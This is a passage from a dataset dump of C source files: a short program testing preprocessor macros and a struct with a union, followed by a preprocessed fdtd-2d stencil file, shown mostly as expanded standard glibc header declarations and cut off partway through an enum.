file
stringlengths
18
26
data
stringlengths
2
1.05M
the_stack_data/31389179.c
#define FOO(x) = x; #define EXTERN #define INIT(var,val) var = val typedef struct __unnamed_class___F0_L5_C9__variable_declaration__variable_type_c_variable_name_type__DELIMITER___variable_declaration__variable_type__variable_name_v { char type; union __unnamed_class___F0_L7_C11_L0R_variable_declaration__variable_type___Pb__c__Pe___variable_name_L0R__scope__str__DELIMITER__L0R_variable_declaration__variable_type_i_variable_name_L0R__scope__val { char *str; int val;}v;}Value; extern Value ValStack[]; extern int ValStackPtr; static int Nargs; #define ARG(x) (ValStack[ValStackPtr - Nargs + (x)]) int main() { // char* x FOO("foobar"); // int x2 FOO(1); char *EndSentIg = "\"\')]}>"; int EndSentIg1 = 1; ValStack[(ValStackPtr - Nargs) + 0]; return 0; }
the_stack_data/107174.c
#pragma merger("0","/tmp/cil-FsgsI9pJ.i","") # 1 "./stencils/fdtd-2d/fdtd-2d.c" # 1 "<built-in>" # 1 "<command-line>" # 1 "/usr/include/stdc-predef.h" 1 3 4 # 1 "<command-line>" 2 # 1 "./stencils/fdtd-2d/fdtd-2d.c" # 1 "/usr/include/stdio.h" 1 3 4 # 27 "/usr/include/stdio.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4 # 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4 # 1 "/usr/include/features.h" 1 3 4 # 461 "/usr/include/features.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4 # 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4 # 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4 # 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4 # 462 "/usr/include/features.h" 2 3 4 # 485 "/usr/include/features.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4 # 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4 # 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4 # 486 "/usr/include/features.h" 2 3 4 # 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4 # 28 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4 # 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4 # 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4 typedef long unsigned int size_t; # 34 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4 # 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4 typedef __builtin_va_list __gnuc_va_list; # 37 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4 # 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4 # 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4 # 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4 typedef unsigned char __u_char; typedef unsigned short int __u_short; typedef unsigned int __u_int; typedef unsigned long int __u_long; typedef signed char __int8_t; typedef unsigned char __uint8_t; typedef signed short int __int16_t; typedef unsigned short int __uint16_t; typedef signed int __int32_t; typedef unsigned int __uint32_t; typedef signed long int __int64_t; typedef unsigned long int __uint64_t; typedef __int8_t __int_least8_t; typedef __uint8_t __uint_least8_t; typedef __int16_t __int_least16_t; typedef __uint16_t __uint_least16_t; typedef __int32_t __int_least32_t; typedef __uint32_t __uint_least32_t; typedef __int64_t __int_least64_t; typedef __uint64_t __uint_least64_t; typedef long int __quad_t; typedef unsigned long int __u_quad_t; typedef long int __intmax_t; typedef unsigned long int __uintmax_t; # 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4 # 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4 # 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4 typedef unsigned long int __dev_t; typedef unsigned int __uid_t; typedef unsigned int __gid_t; typedef unsigned long int __ino_t; typedef unsigned long int __ino64_t; typedef unsigned int __mode_t; typedef unsigned long int __nlink_t; typedef long int __off_t; typedef long int __off64_t; typedef int __pid_t; typedef struct { int __val[2]; } __fsid_t; typedef long int __clock_t; typedef unsigned long int __rlim_t; typedef unsigned long int __rlim64_t; typedef unsigned int __id_t; typedef long int __time_t; typedef unsigned int __useconds_t; typedef long int __suseconds_t; typedef int __daddr_t; typedef int __key_t; typedef int __clockid_t; typedef void * __timer_t; typedef long int __blksize_t; typedef long int __blkcnt_t; typedef long int __blkcnt64_t; typedef unsigned long int __fsblkcnt_t; typedef unsigned long int __fsblkcnt64_t; typedef unsigned long int __fsfilcnt_t; typedef unsigned long int __fsfilcnt64_t; typedef long int __fsword_t; typedef long int __ssize_t; typedef long int __syscall_slong_t; typedef unsigned long int __syscall_ulong_t; typedef __off64_t __loff_t; typedef char *__caddr_t; typedef long int __intptr_t; typedef unsigned int __socklen_t; typedef int __sig_atomic_t; # 39 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4 # 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4 typedef struct { int __count; union { unsigned int __wch; char __wchb[4]; } __value; } __mbstate_t; # 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4 typedef struct _G_fpos_t { __off_t __pos; __mbstate_t __state; } __fpos_t; # 40 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4 # 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4 typedef struct _G_fpos64_t { __off64_t __pos; __mbstate_t __state; } __fpos64_t; # 41 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4 struct _IO_FILE; typedef struct _IO_FILE __FILE; # 42 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4 struct _IO_FILE; typedef struct _IO_FILE FILE; # 43 "/usr/include/stdio.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4 # 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4 struct _IO_FILE; struct _IO_marker; struct _IO_codecvt; struct _IO_wide_data; typedef void _IO_lock_t; struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; __off64_t _offset; struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; }; # 44 "/usr/include/stdio.h" 2 3 4 # 52 "/usr/include/stdio.h" 3 4 typedef __gnuc_va_list va_list; # 63 "/usr/include/stdio.h" 3 4 typedef __off_t off_t; # 77 "/usr/include/stdio.h" 3 4 typedef __ssize_t ssize_t; typedef __fpos_t fpos_t; # 133 "/usr/include/stdio.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4 # 134 "/usr/include/stdio.h" 2 3 4 extern FILE *stdin; extern FILE *stdout; extern FILE *stderr; extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__)); extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__)); extern int renameat (int __oldfd, const char *__old, int __newfd, const char *__new) __attribute__ ((__nothrow__ , __leaf__)); # 173 "/usr/include/stdio.h" 3 4 extern FILE *tmpfile (void) ; # 187 "/usr/include/stdio.h" 3 4 extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ; extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ; # 204 "/usr/include/stdio.h" 3 4 extern char *tempnam (const char *__dir, const char *__pfx) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ; extern int fclose (FILE *__stream); extern int fflush (FILE *__stream); # 227 "/usr/include/stdio.h" 3 4 extern int fflush_unlocked (FILE *__stream); # 246 "/usr/include/stdio.h" 3 4 extern FILE *fopen (const char *__restrict __filename, const char *__restrict __modes) ; extern FILE *freopen (const char *__restrict __filename, const char *__restrict __modes, FILE *__restrict __stream) ; # 279 "/usr/include/stdio.h" 3 4 extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ; # 292 "/usr/include/stdio.h" 3 4 extern FILE *fmemopen (void *__s, size_t __len, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ; extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ; extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__)); extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf, int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__)); extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf, size_t __size) __attribute__ ((__nothrow__ , __leaf__)); extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); extern int fprintf (FILE *__restrict __stream, const char *__restrict __format, ...); extern int printf (const char *__restrict __format, ...); extern int sprintf (char *__restrict __s, const char *__restrict __format, ...) __attribute__ ((__nothrow__)); extern int vfprintf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg); extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg); extern int vsprintf (char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __attribute__ ((__nothrow__)); extern int snprintf (char *__restrict __s, size_t __maxlen, const char *__restrict __format, ...) __attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4))); extern int vsnprintf (char *__restrict __s, size_t __maxlen, const char *__restrict __format, __gnuc_va_list __arg) __attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0))); # 379 "/usr/include/stdio.h" 3 4 extern int vdprintf (int __fd, const char *__restrict __fmt, __gnuc_va_list __arg) __attribute__ ((__format__ (__printf__, 2, 0))); extern int dprintf (int __fd, const char *__restrict __fmt, ...) __attribute__ ((__format__ (__printf__, 2, 3))); extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) ; extern int scanf (const char *__restrict __format, ...) ; extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__)); extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf") ; extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf") ; extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__)) ; # 432 "/usr/include/stdio.h" 3 4 extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __attribute__ ((__format__ (__scanf__, 2, 0))) ; extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __attribute__ ((__format__ (__scanf__, 1, 0))) ; extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0))); extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf") __attribute__ ((__format__ (__scanf__, 2, 0))) ; extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf") __attribute__ ((__format__ (__scanf__, 1, 0))) ; extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0))); # 485 "/usr/include/stdio.h" 3 4 extern int fgetc (FILE *__stream); extern int getc (FILE *__stream); extern int getchar (void); extern int getc_unlocked (FILE *__stream); extern int getchar_unlocked (void); # 510 "/usr/include/stdio.h" 3 4 extern int fgetc_unlocked (FILE *__stream); # 521 "/usr/include/stdio.h" 3 4 extern int fputc (int __c, FILE *__stream); extern int putc (int __c, FILE *__stream); extern int putchar (int __c); # 537 "/usr/include/stdio.h" 3 4 extern int fputc_unlocked (int __c, FILE *__stream); extern int putc_unlocked (int __c, FILE *__stream); extern int putchar_unlocked (int __c); extern int getw (FILE *__stream); extern int putw (int __w, FILE *__stream); extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream) ; # 603 "/usr/include/stdio.h" 3 4 extern __ssize_t __getdelim (char **__restrict __lineptr, size_t *__restrict __n, int __delimiter, FILE *__restrict __stream) ; extern __ssize_t getdelim (char **__restrict __lineptr, size_t *__restrict __n, int __delimiter, FILE *__restrict __stream) ; extern __ssize_t getline (char **__restrict __lineptr, size_t *__restrict __n, FILE *__restrict __stream) ; extern int fputs (const char *__restrict __s, FILE *__restrict __stream); extern int puts (const char *__s); extern int ungetc (int __c, FILE *__stream); extern size_t fread (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) ; extern size_t fwrite (const void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __s); # 673 "/usr/include/stdio.h" 3 4 extern size_t fread_unlocked (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) ; extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream); extern int fseek (FILE *__stream, long int __off, int __whence); extern long int ftell (FILE *__stream) ; extern void rewind (FILE *__stream); # 707 "/usr/include/stdio.h" 3 4 extern int fseeko (FILE *__stream, __off_t __off, int __whence); extern __off_t ftello (FILE *__stream) ; # 731 "/usr/include/stdio.h" 3 4 extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos); extern int fsetpos (FILE *__stream, const fpos_t *__pos); # 757 "/usr/include/stdio.h" 3 4 extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; extern void perror (const char *__s); # 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4 # 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4 extern int sys_nerr; extern const char *const sys_errlist[]; # 782 "/usr/include/stdio.h" 2 3 4 extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; # 800 "/usr/include/stdio.h" 3 4 extern FILE *popen (const char *__command, const char *__modes) ; extern int pclose (FILE *__stream); extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__)); # 840 "/usr/include/stdio.h" 3 4 extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ; extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); # 858 "/usr/include/stdio.h" 3 4 extern int __uflow (FILE *); extern int __overflow (FILE *, int); # 873 "/usr/include/stdio.h" 3 4 # 9 "./stencils/fdtd-2d/fdtd-2d.c" 2 # 1 "/usr/include/unistd.h" 1 3 4 # 27 "/usr/include/unistd.h" 3 4 # 202 "/usr/include/unistd.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/posix_opt.h" 1 3 4 # 203 "/usr/include/unistd.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/environments.h" 1 3 4 # 22 "/usr/include/x86_64-linux-gnu/bits/environments.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4 # 23 "/usr/include/x86_64-linux-gnu/bits/environments.h" 2 3 4 # 207 "/usr/include/unistd.h" 2 3 4 # 226 "/usr/include/unistd.h" 3 4 # 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4 # 227 "/usr/include/unistd.h" 2 3 4 typedef __gid_t gid_t; typedef __uid_t uid_t; # 255 "/usr/include/unistd.h" 3 4 typedef __useconds_t useconds_t; typedef __pid_t pid_t; typedef __intptr_t intptr_t; typedef __socklen_t socklen_t; # 287 "/usr/include/unistd.h" 3 4 extern int access (const char *__name, int __type) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); # 304 "/usr/include/unistd.h" 3 4 extern int faccessat (int __fd, const char *__file, int __type, int __flag) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) ; # 334 "/usr/include/unistd.h" 3 4 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __attribute__ ((__nothrow__ , __leaf__)); # 353 "/usr/include/unistd.h" 3 4 extern int close (int __fd); extern ssize_t read (int __fd, void *__buf, size_t __nbytes) ; extern ssize_t write (int __fd, const void *__buf, size_t __n) ; # 376 "/usr/include/unistd.h" 3 4 extern ssize_t pread (int __fd, void *__buf, size_t __nbytes, __off_t __offset) ; extern ssize_t pwrite (int __fd, const void *__buf, size_t __n, __off_t __offset) ; # 417 "/usr/include/unistd.h" 3 4 extern int pipe (int __pipedes[2]) __attribute__ ((__nothrow__ , __leaf__)) ; # 432 "/usr/include/unistd.h" 3 4 extern unsigned int alarm (unsigned int __seconds) __attribute__ ((__nothrow__ , __leaf__)); # 444 "/usr/include/unistd.h" 3 4 extern unsigned int sleep (unsigned int __seconds); extern __useconds_t ualarm (__useconds_t __value, __useconds_t __interval) __attribute__ ((__nothrow__ , __leaf__)); extern int usleep (__useconds_t __useconds); # 469 "/usr/include/unistd.h" 3 4 extern int pause (void); extern int chown (const char *__file, __uid_t __owner, __gid_t __group) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int fchown (int __fd, __uid_t __owner, __gid_t __group) __attribute__ ((__nothrow__ , __leaf__)) ; extern int lchown (const char *__file, __uid_t __owner, __gid_t __group) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int fchownat (int __fd, const char *__file, __uid_t __owner, __gid_t __group, int __flag) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) ; extern int chdir (const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int fchdir (int __fd) __attribute__ ((__nothrow__ , __leaf__)) ; # 511 "/usr/include/unistd.h" 3 4 extern char *getcwd (char *__buf, size_t __size) __attribute__ ((__nothrow__ , __leaf__)) ; # 525 "/usr/include/unistd.h" 3 4 extern char *getwd (char *__buf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__deprecated__)) ; extern int dup (int __fd) __attribute__ ((__nothrow__ , __leaf__)) ; extern int dup2 (int __fd, int __fd2) __attribute__ ((__nothrow__ , __leaf__)); # 543 "/usr/include/unistd.h" 3 4 extern char **__environ; extern int execve (const char *__path, char *const __argv[], char *const __envp[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern int fexecve (int __fd, char *const __argv[], char *const __envp[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); extern int execv (const char *__path, char *const __argv[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern int execle (const char *__path, const char *__arg, ...) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern int execl (const char *__path, const char *__arg, ...) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern int execvp (const char *__file, char *const __argv[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern int execlp (const char *__file, const char *__arg, ...) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); # 598 "/usr/include/unistd.h" 3 4 extern int nice (int __inc) __attribute__ ((__nothrow__ , __leaf__)) ; extern void _exit (int __status) __attribute__ ((__noreturn__)); # 1 "/usr/include/x86_64-linux-gnu/bits/confname.h" 1 3 4 # 24 "/usr/include/x86_64-linux-gnu/bits/confname.h" 3 4 enum { _PC_LINK_MAX, _PC_MAX_CANON, _PC_MAX_INPUT, _PC_NAME_MAX, _PC_PATH_MAX, _PC_PIPE_BUF, _PC_CHOWN_RESTRICTED, _PC_NO_TRUNC, _PC_VDISABLE, _PC_SYNC_IO, _PC_ASYNC_IO, _PC_PRIO_IO, _PC_SOCK_MAXBUF, _PC_FILESIZEBITS, _PC_REC_INCR_XFER_SIZE, _PC_REC_MAX_XFER_SIZE, _PC_REC_MIN_XFER_SIZE, _PC_REC_XFER_ALIGN, _PC_ALLOC_SIZE_MIN, _PC_SYMLINK_MAX, _PC_2_SYMLINKS }; enum { _SC_ARG_MAX, _SC_CHILD_MAX, _SC_CLK_TCK, _SC_NGROUPS_MAX, _SC_OPEN_MAX, _SC_STREAM_MAX, _SC_TZNAME_MAX, _SC_JOB_CONTROL, _SC_SAVED_IDS, _SC_REALTIME_SIGNALS, _SC_PRIORITY_SCHEDULING, _SC_TIMERS, _SC_ASYNCHRONOUS_IO, _SC_PRIORITIZED_IO, _SC_SYNCHRONIZED_IO, _SC_FSYNC, _SC_MAPPED_FILES, _SC_MEMLOCK, _SC_MEMLOCK_RANGE, _SC_MEMORY_PROTECTION, _SC_MESSAGE_PASSING, _SC_SEMAPHORES, _SC_SHARED_MEMORY_OBJECTS, _SC_AIO_LISTIO_MAX, _SC_AIO_MAX, _SC_AIO_PRIO_DELTA_MAX, _SC_DELAYTIMER_MAX, _SC_MQ_OPEN_MAX, _SC_MQ_PRIO_MAX, _SC_VERSION, _SC_PAGESIZE, _SC_RTSIG_MAX, _SC_SEM_NSEMS_MAX, _SC_SEM_VALUE_MAX, _SC_SIGQUEUE_MAX, _SC_TIMER_MAX, _SC_BC_BASE_MAX, _SC_BC_DIM_MAX, _SC_BC_SCALE_MAX, _SC_BC_STRING_MAX, _SC_COLL_WEIGHTS_MAX, _SC_EQUIV_CLASS_MAX, _SC_EXPR_NEST_MAX, _SC_LINE_MAX, _SC_RE_DUP_MAX, _SC_CHARCLASS_NAME_MAX, _SC_2_VERSION, _SC_2_C_BIND, _SC_2_C_DEV, _SC_2_FORT_DEV, _SC_2_FORT_RUN, _SC_2_SW_DEV, _SC_2_LOCALEDEF, _SC_PII, _SC_PII_XTI, _SC_PII_SOCKET, _SC_PII_INTERNET, _SC_PII_OSI, _SC_POLL, _SC_SELECT, _SC_UIO_MAXIOV, _SC_IOV_MAX = _SC_UIO_MAXIOV, _SC_PII_INTERNET_STREAM, _SC_PII_INTERNET_DGRAM, _SC_PII_OSI_COTS, _SC_PII_OSI_CLTS, _SC_PII_OSI_M, _SC_T_IOV_MAX, _SC_THREADS, _SC_THREAD_SAFE_FUNCTIONS, _SC_GETGR_R_SIZE_MAX, _SC_GETPW_R_SIZE_MAX, _SC_LOGIN_NAME_MAX, _SC_TTY_NAME_MAX, _SC_THREAD_DESTRUCTOR_ITERATIONS, _SC_THREAD_KEYS_MAX, _SC_THREAD_STACK_MIN, _SC_THREAD_THREADS_MAX, _SC_THREAD_ATTR_STACKADDR, _SC_THREAD_ATTR_STACKSIZE, _SC_THREAD_PRIORITY_SCHEDULING, _SC_THREAD_PRIO_INHERIT, _SC_THREAD_PRIO_PROTECT, _SC_THREAD_PROCESS_SHARED, _SC_NPROCESSORS_CONF, _SC_NPROCESSORS_ONLN, _SC_PHYS_PAGES, _SC_AVPHYS_PAGES, _SC_ATEXIT_MAX, _SC_PASS_MAX, _SC_XOPEN_VERSION, _SC_XOPEN_XCU_VERSION, _SC_XOPEN_UNIX, _SC_XOPEN_CRYPT, _SC_XOPEN_ENH_I18N, _SC_XOPEN_SHM, _SC_2_CHAR_TERM, _SC_2_C_VERSION, _SC_2_UPE, _SC_XOPEN_XPG2, _SC_XOPEN_XPG3, _SC_XOPEN_XPG4, _SC_CHAR_BIT, _SC_CHAR_MAX, _SC_CHAR_MIN, _SC_INT_MAX, _SC_INT_MIN, _SC_LONG_BIT, _SC_WORD_BIT, _SC_MB_LEN_MAX, _SC_NZERO, _SC_SSIZE_MAX, _SC_SCHAR_MAX, _SC_SCHAR_MIN, _SC_SHRT_MAX, _SC_SHRT_MIN, _SC_UCHAR_MAX, _SC_UINT_MAX, _SC_ULONG_MAX, _SC_USHRT_MAX, _SC_NL_ARGMAX, _SC_NL_LANGMAX, _SC_NL_MSGMAX, _SC_NL_NMAX, _SC_NL_SETMAX, _SC_NL_TEXTMAX, _SC_XBS5_ILP32_OFF32, _SC_XBS5_ILP32_OFFBIG, _SC_XBS5_LP64_OFF64, _SC_XBS5_LPBIG_OFFBIG, _SC_XOPEN_LEGACY, _SC_XOPEN_REALTIME, _SC_XOPEN_REALTIME_THREADS, _SC_ADVISORY_INFO, _SC_BARRIERS, _SC_BASE, _SC_C_LANG_SUPPORT, _SC_C_LANG_SUPPORT_R, _SC_CLOCK_SELECTION, _SC_CPUTIME, _SC_THREAD_CPUTIME, _SC_DEVICE_IO, _SC_DEVICE_SPECIFIC, _SC_DEVICE_SPECIFIC_R, _SC_FD_MGMT, _SC_FIFO, _SC_PIPE, _SC_FILE_ATTRIBUTES, _SC_FILE_LOCKING, _SC_FILE_SYSTEM, _SC_MONOTONIC_CLOCK, _SC_MULTI_PROCESS, _SC_SINGLE_PROCESS, _SC_NETWORKING, _SC_READER_WRITER_LOCKS, _SC_SPIN_LOCKS, _SC_REGEXP, _SC_REGEX_VERSION, _SC_SHELL, _SC_SIGNALS, _SC_SPAWN, _SC_SPORADIC_SERVER, _SC_THREAD_SPORADIC_SERVER, _SC_SYSTEM_DATABASE, _SC_SYSTEM_DATABASE_R, _SC_TIMEOUTS, _SC_TYPED_MEMORY_OBJECTS, _SC_USER_GROUPS, _SC_USER_GROUPS_R, _SC_2_PBS, _SC_2_PBS_ACCOUNTING, _SC_2_PBS_LOCATE, _SC_2_PBS_MESSAGE, _SC_2_PBS_TRACK, _SC_SYMLOOP_MAX, _SC_STREAMS, _SC_2_PBS_CHECKPOINT, _SC_V6_ILP32_OFF32, _SC_V6_ILP32_OFFBIG, _SC_V6_LP64_OFF64, _SC_V6_LPBIG_OFFBIG, _SC_HOST_NAME_MAX, _SC_TRACE, _SC_TRACE_EVENT_FILTER, _SC_TRACE_INHERIT, _SC_TRACE_LOG, _SC_LEVEL1_ICACHE_SIZE, _SC_LEVEL1_ICACHE_ASSOC, _SC_LEVEL1_ICACHE_LINESIZE, _SC_LEVEL1_DCACHE_SIZE, _SC_LEVEL1_DCACHE_ASSOC, _SC_LEVEL1_DCACHE_LINESIZE, _SC_LEVEL2_CACHE_SIZE, _SC_LEVEL2_CACHE_ASSOC, _SC_LEVEL2_CACHE_LINESIZE, _SC_LEVEL3_CACHE_SIZE, _SC_LEVEL3_CACHE_ASSOC, _SC_LEVEL3_CACHE_LINESIZE, _SC_LEVEL4_CACHE_SIZE, _SC_LEVEL4_CACHE_ASSOC, _SC_LEVEL4_CACHE_LINESIZE, _SC_IPV6 = _SC_LEVEL1_ICACHE_SIZE + 50, _SC_RAW_SOCKETS, _SC_V7_ILP32_OFF32, _SC_V7_ILP32_OFFBIG, _SC_V7_LP64_OFF64, _SC_V7_LPBIG_OFFBIG, _SC_SS_REPL_MAX, _SC_TRACE_EVENT_NAME_MAX, _SC_TRACE_NAME_MAX, _SC_TRACE_SYS_MAX, _SC_TRACE_USER_EVENT_MAX, _SC_XOPEN_STREAMS, _SC_THREAD_ROBUST_PRIO_INHERIT, _SC_THREAD_ROBUST_PRIO_PROTECT }; enum { _CS_PATH, _CS_V6_WIDTH_RESTRICTED_ENVS, _CS_GNU_LIBC_VERSION, _CS_GNU_LIBPTHREAD_VERSION, _CS_V5_WIDTH_RESTRICTED_ENVS, _CS_V7_WIDTH_RESTRICTED_ENVS, _CS_LFS_CFLAGS = 1000, _CS_LFS_LDFLAGS, _CS_LFS_LIBS, _CS_LFS_LINTFLAGS, _CS_LFS64_CFLAGS, _CS_LFS64_LDFLAGS, _CS_LFS64_LIBS, 